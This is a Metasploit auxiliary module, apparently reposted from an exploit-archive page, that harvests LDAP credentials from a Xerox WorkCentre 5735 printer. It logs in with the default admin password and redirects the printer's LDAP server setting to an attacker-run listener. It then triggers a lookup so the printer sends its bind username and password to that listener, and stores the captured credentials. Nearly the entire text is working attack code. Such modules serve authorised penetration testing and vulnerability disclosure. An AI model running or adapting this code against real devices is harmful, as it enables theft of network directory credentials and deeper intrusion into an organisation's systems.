Share
## https://sploitus.com/exploit?id=PACKETSTORM:180595
##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
  
  
class MetasploitModule < Msf::Auxiliary  
include Msf::Exploit::Remote::HttpClient  
include Msf::Exploit::Remote::TcpServer  
include Msf::Auxiliary::Report  
  
def initialize(info={})  
super(update_info(info,  
'Name' => 'Xerox Workcentre 5735 LDAP Service Redential Extractor',  
'Description' => %q{  
This module extract the printer's LDAP username and password from Xerox Workcentre 5735.  
},  
'Author' =>  
[  
'Deral "Percentx" Heiland',  
'Pete "Bokojan" Arzamendi'  
],  
'License' => MSF_LICENSE,  
'DefaultOptions' => { 'SSL' => false }  
))  
  
register_options(  
[  
OptString.new('PASSWORD', [true, 'Password to access administrative interface. Defaults to 1111', '1111']),  
OptPort.new('RPORT', [true, 'The target port on the remote printer. Defaults to 80', 80]),  
OptInt.new('TIMEOUT', [true, 'Timeout for printer connection probe.', 20]),  
OptInt.new('TCPDELAY', [true, 'Number of seconds the tcp server will wait before termination.', 20]),  
OptString.new('NewLDAPServer', [true, 'The IP address of the LDAP server you want the printer to connect back to.'])  
])  
end  
  
def run  
print_status("Attempting to extract LDAP username and password...")  
  
@auth_cookie = default_page  
if @auth_cookie.blank?  
print_status("Unable to get authentication cookie from #{rhost}")  
return  
end  
  
status = login  
return unless status  
  
status = ldap_server_info  
return unless status  
  
status = update_ldap_server  
return unless status  
  
start_listener  
unless @data  
print_error("Failed to start listiner or the printer did not send us the creds. :(")  
status = restore_ldap_server  
unless status  
print_error("Failed to restore old LDAP server. Please manually restore")  
end  
return  
end  
  
status = restore_ldap_server  
return unless status  
  
ldap_binary_creds = @data.scan(/(\w+\\\w+).\s*(.+)/).flatten  
ldap_creds = "#{ldap_binary_creds[0]}:#{ldap_binary_creds[1]}"  
  
# Woot we got creds so lets save them.#  
print_good("The following creds were capured: #{ldap_creds}")  
loot_name = 'ldap.cp.creds'  
loot_type = 'text/plain'  
loot_filename = 'ldap-creds.text'  
loot_desc = 'LDAP Pass-back Harvester'  
p = store_loot(loot_name, loot_type, datastore['RHOST'], @data, loot_filename, loot_desc)  
print_good("Credentials saved in: #{p}")  
  
register_creds('ldap', rhost, @ldap_port, ldap_binary_creds[0], ldap_binary_creds[1])  
end  
  
def default_page  
page = '/header.php?tab=status'  
method = 'GET'  
res = make_request(page, method, '')  
if res.blank? || res.code != 200  
print_error("Failed to connect to #{rhost}. Please check the printers IP address.")  
return ''  
end  
res.get_cookies  
end  
  
def login  
login_page = '/userpost/xerox.set'  
login_vars = {  
'_fun_function' => 'HTTP_Authenticate_fn',  
'NextPage' => '%2Fproperties%2Fauthentication%2FluidLogin.php',  
'webUsername' => 'admin',  
'webPassword' => datastore['PASSWORD'],  
'frmaltDomain' => 'default'  
}  
login_post_data = []  
login_vars.each_pair{|k, v| login_post_data << "#{k}=#{v}" }  
login_post_data *= '&'  
method = 'POST'  
  
res = make_request(login_page, method, login_post_data)  
if res.blank? || res.code != 200  
print_error("Failed to login. Please check the password for the Administrator account")  
return nil  
end  
res.code  
end  
  
def ldap_server_info  
ldap_info_page = '/ldap/index.php?ldapindex=default&from=ldapConfig'  
method = 'GET'  
res = make_request(ldap_info_page, method, '')  
html_body = ::Nokogiri::HTML(res.body)  
ldap_server_settings_html = html_body.xpath('/html/body/form[1]/div[1]/div[2]/div[2]/div[2]/div[1]/div/div').text  
ldap_server_ip = ldap_server_settings_html.scan(/valIpv4_1_\d\[2\] = (\d+)/i).flatten  
ldap_port_settings = html_body.xpath('/html/body/form[1]/div[1]/div[2]/div[2]/div[2]/div[4]/script').text  
ldap_port_number = ldap_port_settings.scan(/valPrt_1\[2\] = (\d+)/).flatten  
@ldap_server = "#{ldap_server_ip[0]}.#{ldap_server_ip[1]}.#{ldap_server_ip[2]}.#{ldap_server_ip[3]}"  
@ldap_port = ldap_port_number[0]  
print_status("LDAP server: #{@ldap_server}")  
unless res.code == 200 || res.blank?  
print_error("Failed to get LDAP data.")  
return nil  
end  
res.code  
end  
  
def update_ldap_server  
ldap_update_page = '/dummypost/xerox.set'  
ldap_update_vars = {  
'_fun_function' => 'HTTP_Set_Config_Attrib_fn',  
'NextPage' => '/ldap/index.php?ldapindex=default',  
'from' =>'ldapConfig',  
'ldap.server[default].server' => "#{datastore['NewLDAPServer']}:#{datastore['SRVPORT']}",  
'ldap.maxSearchResults' => '25',  
'ldap.searchTime' => '30',  
}  
ldap_update_post = []  
ldap_update_vars.each_pair{|k, v| ldap_update_post << "#{k}=#{v}" }  
ldap_update_post *= '&'  
method = 'POST'  
  
print_status("Updating LDAP server: #{datastore['NewLDAPServer']} and port: #{datastore['SRVPORT']}")  
res = make_request(ldap_update_page, method, ldap_update_post)  
if res.blank? || res.code != 200  
print_error("Failed to update LDAP server. Please check the host: #{rhost}")  
return nil  
end  
res.code  
end  
  
def trigger_ldap_request  
ldap_trigger_page = '/userpost/xerox.set'  
ldap_trigger_vars = {  
'nameSchema'=>'givenName',  
'emailSchema'=>'mail',  
'phoneSchema'=>'telephoneNumber',  
'postalSchema'=>'postalAddress',  
'mailstopSchema'=>'l',  
'citySchema'=>'physicalDeliveryOfficeName',  
'stateSchema'=>'st',  
'zipCodeSchema'=>'postalcode',  
'countrySchema'=>'co',  
'faxSchema'=>'facsimileTelephoneNumber',  
'homeSchema'=>'homeDirectory',  
'memberSchema'=>'memberOf',  
'uidSchema'=>'uid',  
'ldapSearchName'=>'test',  
'ldapServerIndex'=>'default',  
'_fun_function'=>'HTTP_LDAP_Search_fn',  
'NextPage'=>'%2Fldap%2Fmappings.php%3Fldapindex%3Ddefault%26from%3DldapConfig'  
}  
ldap_trigger_post = []  
ldap_trigger_vars.each_pair {|k, v| ldap_trigger_post << "#{k}=#{v}" }  
ldap_trigger_post *= '&'  
method = 'POST'  
  
print_status("Triggering LDAP request")  
res = make_request(ldap_trigger_page, method, ldap_trigger_post)  
res.code  
end  
  
def start_listener  
server_timeout = datastore['TCPDELAY'].to_i  
begin  
print_status('Service running. Waiting for connection')  
Timeout.timeout(server_timeout) do  
exploit  
end  
rescue Timeout::Error  
return  
end  
end  
  
def primer  
trigger_ldap_request  
end  
  
def on_client_connect(client)  
on_client_data(client)  
end  
  
def on_client_data(client)  
@data = client.get_once  
client.stop  
end  
  
def restore_ldap_server  
ldap_restore_page = '/dummypost/xerox.set'  
ldap_restore_vars = {  
'_fun_function' => 'HTTP_Set_Config_Attrib_fn',  
'NextPage' => '/ldap/index.php?ldapaction=add',  
'ldapindex' => 'default&from=ldapConfig',  
'ldap.server[default].server' => "#{@ldap_server}:#{@ldap_port}",  
'ldap.maxSearchResults' => '25',  
'ldap.searchTime' => '30',  
'ldap.search.uid' => 'uid',  
'ldap.search.name' => 'givenName',  
'ldap.search.email' => 'mail',  
'ldap.search.phone' => 'telephoneNumber',  
'ldap.search.postal' => 'postalAddress',  
'ldap.search.mailstop' => 'l',  
'ldap.search.city' => 'physicalDeliveryOfficeName',  
'ldap.search.state' => 'st',  
'ldap.search.zipcode' => 'postalcode',  
'ldap.search.country' => 'co',  
'ldap.search.ifax' => 'No Mappings Available',  
'ldap.search.faxNum' => 'facsimileTelephoneNumber',  
'ldap.search.home' => 'homeDirectory',  
'ldap.search.membership' => 'memberOf'  
}  
ldap_restore_post = []  
ldap_restore_vars.each_pair {|k, v| ldap_restore_post << "#{k}=#{v}" }  
ldap_restore_post *= '&'  
method = 'POST'  
  
print_status("Restoring LDAP server: #{@ldap_server}")  
res = make_request(ldap_restore_page, method, ldap_restore_post)  
if res.blank? || res.code != 200  
print_error("Failed to restore LDAP server: #{@ldap_server}. Please fix manually")  
return nil  
end  
res.code  
end  
  
def make_request(page, method, post_data)  
res = nil  
  
begin  
res = send_request_cgi(  
{  
'uri' => page,  
'method' => method,  
'cookie' => @auth_cookie,  
'data' => post_data  
}, datastore['TIMEOUT'].to_i)  
  
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Rex::ConnectionError  
print_error("Connection failed")  
end  
  
res  
end  
  
def register_creds(service_name, remote_host, remote_port, username, password)  
credential_data = {  
origin_type: :service,  
module_fullname: self.fullname,  
workspace_id: myworkspace_id,  
private_data: password,  
private_type: :password,  
username: username  
}  
  
service_data = {  
address: remote_host,  
port: remote_port,  
service_name: service_name,  
protocol: 'tcp',  
workspace_id: myworkspace_id  
}  
  
credential_data.merge!(service_data)  
credential_core = create_credential(credential_data)  
  
login_data = {  
core: credential_core,  
status: Metasploit::Model::Login::Status::UNTRIED,  
workspace_id: myworkspace_id  
}  
  
login_data.merge!(service_data)  
create_credential_login(login_data)  
  
end  
end